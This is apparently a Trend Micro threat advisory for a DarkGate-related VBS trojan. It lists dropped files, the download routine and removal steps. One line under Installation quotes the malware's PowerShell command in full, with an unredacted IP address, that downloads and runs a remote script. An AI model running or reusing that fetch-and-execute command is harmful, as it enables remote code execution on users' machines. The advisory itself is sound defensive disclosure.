Analysis by: Francesca Villasanta
ALIASES:

Other:Malware-gen [Trj] (AVAST)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: N/A bytes
File Type: VBS
Memory Resident: No
Initial Samples Received Date: 10 Apr 2024
Payload: Creates files, Connects to URLs/IPs, Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • C:\kady\temp_AutoHotkey.exe
  • C:\kady\AutoHotkey.exe
  • C:\kady\script.ahk
  • C:\kady\test.txt

It adds the following processes:

  • powershell -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
  • start 'C:/kady/AutoHotkey.exe' -a 'C:/kady/script.ahk'
  • attrib +h 'C:/kady/'

It creates the following folders:

  • C:/kady/

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/wctaehcw → contains a powershell script

Other Details

This Trojan does the following:

  • The powershell script performs the following:
    • It creates a directory where it drops files:
      • C:/kady/ → attribute set to hidden
    • It connects to a URL to download malicious files:
      • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/gsgqmjivmr → saved as C:/kady/temp_AutoHotkey.exe
      • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/rjlcmdey → saved as C:/kady/script.ahk
      • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/giibkqxo → saved as C:/kady/test.txt
    • It copies a portion of C:\kady\temp_AutoHotkey.exe and saves it as:
      • C:\kady\AutoHotkey.exe
    • It adds the following processes:
      • start 'C:/kady/AutoHotkey.exe' -a 'C:/kady/script.ahk'
      • attrib +h 'C:/kady/'

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 19.269.00
FIRST VSAPI PATTERN DATE: 09 Apr 2024
VSAPI OPR PATTERN File: 19.269.00
VSAPI OPR PATTERN Date: 10 Apr 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • C:\kady\temp_AutoHotkey.exe
  • C:\kady\AutoHotkey.exe
  • C:\kady\script.ahk
  • C:\kady\test.txt

Step 4

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • C:/kady/

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.DARKGATE.YXEDIZ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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